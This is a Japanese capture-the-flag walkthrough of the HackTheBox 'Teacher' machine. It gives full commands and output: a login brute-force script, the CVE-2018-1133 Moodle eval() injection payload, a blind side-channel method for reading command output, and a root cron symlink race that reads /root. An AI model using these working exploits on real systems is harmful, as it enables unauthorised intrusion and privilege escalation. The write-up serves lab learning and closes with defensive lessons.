HackTheBox: Teacher — 全実行コマンド・実行結果レポート
Nmap スキャン
80/http のみ
→
80/http のみ
/images/5.png
パスワードヒント漏洩
→
パスワードヒント漏洩
最後の1文字をブルートフォース
Giovanni:Th4C00lTheacha#
→
Giovanni:Th4C00lTheacha#
計算問題の回答式にバッククォート注入
CVE-2018-1133
→
CVE-2018-1133
www-data RCE (blind)
Min/Maxサイドチャネル
→
Min/Maxサイドチャネル
su giovanni 経由
user.txt ✓
→
user.txt ✓
backup.sh cron
symlinkレース(courses→/root)
→
symlinkレース(courses→/root)
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャンとリダイレクト先の確認
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.84.225 curl -sI http://10.129.84.225/moodle/
RESULT
PORT STATE SERVICE 80/tcp open http HTTP/1.1 303 See Other Server: Apache/2.4.25 (Debian) Location: http://teacher.htb/moodle
ℹ️
Moodleの
$CFG->wwwrootがteacher.htbに固定されているため、
IPへの直接アクセスだと正しく動作しない。/etc/hostsに
<TARGET_IP> teacher.htbを追記してから全てのアクセスを
http://teacher.htb/moodle/経由で行う必要がある。
BASH
echo "10.129.84.225 teacher.htb" | sudo tee -a /etc/hosts
PHASE 2
パスワードヒントの漏洩 & 最後の1文字のブルートフォース
トップページの壊れた画像リンク
BASH
curl -s -L http://10.129.84.225/images/5.png
RESULT
Hi Servicedesk,
I forgot the last charachter of my password. The only part I remembered is Th4C00lTheacha.
Could you guys figure out what the last charachter is, or just reset it?
Thanks,
Giovanni
🚨
重要発見: チームページの画像のうち1枚(5.png)は実際には画像ではなく、
ユーザー”Giovanni”からServiceDeskへのパスワード紛失問い合わせメールの
テキストファイル。パスワードの最後の1文字だけが不明な状態で漏洩している。
最後の1文字をログインフォームでブルートフォース
PYTHON
import requests, string
base = "http://teacher.htb/moodle"
hint = "Th4C00lTheacha"
chars = "#!@$%^&*()_+-=" + string.ascii_letters + string.digits
for c in chars:
pw = hint + c
s = requests.Session()
s.get(base + "/login/index.php", timeout=10)
r = s.post(base + "/login/index.php",
data={"anchor": "", "username": "Giovanni", "password": pw},
timeout=10, allow_redirects=False)
loc = r.headers.get("Location", "")
# ログイン成功時のみ Location に "testsession=" が付与される
if r.status_code in (302, 303) and "testsession=" in loc:
print("FOUND:", pw)
break
RESULT
FOUND: Th4C00lTheacha#
⚠️
ハマりポイント: Moodleはログイン成功時も失敗時も
Locationヘッダに login/index.php という文字列を含める
(失敗時はログインフォームへの再表示、成功時は
login/index.php?testsession=Nというテストセッション確認ページを経由して
ダッシュボードへ進む)。そのため「Locationに”login”という文字列が含まれていないこと」を
成功判定に使うと、正解のパスワードでも常に失敗と誤判定してしまう。
正しくは、成功時だけ付与されるtestsession=というクエリ文字列の有無で判定すること。
PHASE 3
CVE-2018-1133 (Moodle計算問題 eval() RCE) → user.txt
脆弱性の概要
NOTE
Moodle 3.4.1 の questiontype.php (calculated型の問題) は、採点時に回答式を
PHPの eval() でそのまま評価している (CVE-2018-1133)。Giovanniはteacherロールを
持つため、新しいクイズ・計算問題を自由に作成できる。回答式にバッククォートを
仕込んで式の外へ脱出させ、GETパラメータの値をそのままシェルコマンドとして
実行させることができる:
回答式: /*{a*/`$_GET[0]`;//{x}}
質問編集後に表示される「データセット項目」ページへ
?...&0=<実行したいコマンド>
というGETパラメータを付けてアクセスすると、計算問題の採点ロジックが
`<コマンド>`をバッククォートで実行し、結果を式の評価に使おうとする
(結果自体が構文エラーを起こしても、その時点でコマンドは既に実行済み)。
悪性クイズ・計算問題の作成
BASH
# 1) ログイン (Phase2で確定したパスワード)
# 2) コースを編集モードに入れ、新規クイズを追加
# 3) クイズに "calculated" 型の問題を追加し、回答式(answer[0])に
# /*{a*/`$_GET[0]`;//{x}} を設定して保存
ℹ️
1度クイズと計算問題を作成してしまえば、同じ質問IDを使って何度でも
?0=<コマンド>を変えるだけでRCEを繰り返し発火できる
(クイズ自体を毎回作り直す必要は無い)。
RCEの確認 & blindな出力回収 (数値サイドチャネル)
NOTE
標準的な「コマンド結果をHTTP POSTでKaliへ外部送出する」方式は、
HTBのこのラボ環境ではegressフィルタによりwww-dataからの外向きTCP接続が
一律ブロックされており(ICMPは通る)、永久にタイムアウトしてしまう。
代わりに、Moodleが計算問題の「正答プレビュー」欄に表示する
Min/Max許容範囲 (tolerance=1%) を利用する、ネットワーク非依存の
数値サイドチャネルを使う:
1. 読みたい値を printf '%d' "'X" のように1文字ずつASCIIコード化させる
(bashの ' 付き文字→数値変換)
2. そのコマンドをバッククォート注入経由で実行させる
3. レスポンス本文中の "Min: x --- Max: y" を正規表現で読み取り、
(x+y)/2 を四捨五入すれば元のASCIIコードが復元できる
4. 文字列全体は、ファイルサイズを wc -c で調べた後、1文字ずつ
cut -c で切り出し printf '%d' でASCIIコード化し、上記手順で
1文字ずつ読み出す
この方式は外向き接続を一切使わないため、egressフィルタの影響を受けない。
BASH
# 動作確認: id -u の結果を数値サイドチャネルで読む (<QUIZ_URL>?...&0=... の形で発火) curl -s "<質問編集URL>&0=printf '%d' \$(id -u)" \ | grep -oP 'Min:\s*[\-\d.]+\s*---\s*Max:\s*[\-\d.]+'
RESULT
Min: 32.67 --- Max: 33.33 → (32.67+33.33)/2 = 33 = www-data の uid
✅
RCE成功確認!
id -uの結果が33(www-data)であることを
数値サイドチャネル経由で確認できた。
su giovanni 経由での user.txt 読み取り
NOTE
www-data は /home/giovanni (750, giovanni:giovanni) を直接読めないため、
事前に漏洩させたgiovanniのMoodle DBパスワードハッシュをオフラインで
rockyouに対してクラックして得たLinuxログイン用パスワード("expelled")を使い、
RCE経由で python3 の pty.fork() + su giovanni を実行してシェルを得る。
(suは疑似端末(tty)が無いと "must be run from a terminal" で失敗するため
pty.fork()が必須)
giovanniのシェル内で user.txt を world-readable な /tmp 配下へコピーし、
既存のwww-data側オラクル(数値サイドチャネル)から読み出す。
BASH
# (RCE経由でwww-dataとして) /tmp に pty.fork()+su用スクリプトを設置・実行 # スクリプト内で: su giovanni (パスワード: expelled) → # cat /home/giovanni/user.txt > /tmp/.uflag; chmod 644 /tmp/.uflag # その後、www-data権限のRCEで /tmp/.uflag を読み出す(数値サイドチャネル) # wc -c /tmp/.uflag → 文字数を調べ、1文字ずつ cut -c + printf '%d' で復元
RESULT
e488535966daaccdec176aaf45a21dce
user.txt — giovanni
e488535966daaccdec176aaf45a21dce
PHASE 4
backup.sh cronjob の symlink レース → root.txt
root cronジョブの発見
NOTE
/usr/bin/backup.sh が root権限のcronで定期実行されており、概ね以下の処理を行う: cd /home/giovanni/work tar -czvf tmp/backup_courses.tar.gz courses/* cd tmp tar -xf backup_courses.tar.gz chmod 777 * -R ~/work/courses ディレクトリ自体はgiovanni所有のため、giovanni権限で 自由に置き換えることができる。
courses を /root へのシンボリックリンクに置換
BASH
# giovanniのシェル(su経由)から実行 giovanni@teacher:~$ cd /home/giovanni/work giovanni@teacher:~/work$ mv courses courses.bak giovanni@teacher:~/work$ ln -sfn /root courses
🚨
攻撃の要点: 次回cron実行時、
tar -czvf tmp/backup_courses.tar.gz courses/*
はcoursesというシンボリックリンクをそのまま辿り、/root配下のファイルを
tarに取り込んでしまう。続くtar -xfで展開され、最後の
chmod 777 * -Rで展開先のtmp/courses/以下が全ユーザー読み書き可能になる
ため、/root/root.txtが結果的に
/home/giovanni/work/tmp/courses/root.txtとして誰でも読める状態でコピーされる。
cron実行を待機してroot.txtを回収
BASH
# cronの実行間隔(数分程度)だけ待ってから確認 giovanni@teacher:~$ sleep 60 giovanni@teacher:~$ cat /home/giovanni/work/tmp/courses/root.txt
RESULT
0a86abadf22636ad623ddc5207601096
⚠️
ハマりポイント:
/home/giovanni自体は750 giovanni:giovanni
のため、www-data権限からは(chmod 777がtmp/courses配下の中身に効いていても)
親ディレクトリを辿る実行権限が無く、www-data経由の確認コマンドは
シンボリックリンク設置やcron実行の成否に関わらず常に「ファイルが見つからない」結果を返す
(Unixのパーミッションモデルでは、末端ファイルのモードをいくら緩めても、
途中のディレクトリに実行(トラバース)権限が無ければそもそも辿れない)。
確認・読み出しはgiovanni自身のsuセッションから行うのが確実。
root.txt
0a86abadf22636ad623ddc5207601096
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — giovanni
e488535966daaccdec176aaf45a21dce
root.txt
0a86abadf22636ad623ddc5207601096
使用した脆弱性・設定不備
| 脆弱性/不備 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 公開画像によるパスワードヒント漏洩 | /images/5.png | Giovanniパスワードの大部分の漏洩 | Medium | 内部問い合わせメールが誤って公開画像として置かれ、最後の1文字のみ総当りで復元可能 |
| CVE-2018-1133 | Moodle 3.4.1 calculated型問題 (questiontype.php) | リモートコード実行 (www-data) | Critical | 回答式へのバッククォート注入でeval()経由のコマンド実行。Min/Max許容範囲を使った数値サイドチャネルでblind出力回収(egressフィルタ環境でも動作) |
| root cronのシンボリックリンクレース | /usr/bin/backup.sh (root cron) | 権限昇格 (root) | Critical | giovanni所有のcoursesディレクトリを/rootへのsymlinkに置換し、tar+chmod 777のcronに/root配下をworld-readableな場所へコピーさせる |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + wwwrootリダイレクト確認 | 80/httpのみ、teacher.htbへのリダイレクト |
| 2 | 資格情報 | /images/5.png閲覧 + 最後の1文字ブルートフォース | Giovanni:Th4C00lTheacha# |
| 3 | エクスプロイト | CVE-2018-1133 (計算問題eval() RCE) + Min/Maxサイドチャネル | www-data RCE (blind) |
| 3 | 横移動 | pty.fork() + su giovanni | user.txt 取得 |
| 4 | 権限昇格 | backup.sh cronのsymlinkレース (courses→/root) | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 社内問い合わせメールが画像ファイルのパスで公開領域に置かれている | Webルート配下に機密情報を含むファイルを置かない。公開前のコンテンツレビューを徹底する。 |
| Moodleが既知脆弱性(CVE-2018-1133)を含む古いバージョンのまま運用されている | LMS/CMSのバージョンを定期的に更新し、既知のCVEに対するパッチを適用する。計算問題の回答式はサンドボックス化された評価エンジンで処理すべき。 |
| root権限のcronジョブが一般ユーザー所有のディレクトリ構造(シンボリックリンク含む)をそのまま信頼してtar/chmodしている | root権限で実行するバッチ処理は、処理対象パスがシンボリックリンクでないことを検証する(`tar`の`–exclude-vcs`的なオプションや`realpath`での正規化チェック)。信頼境界を越えるディレクトリへの再帰的chmod 777は特に危険。 |

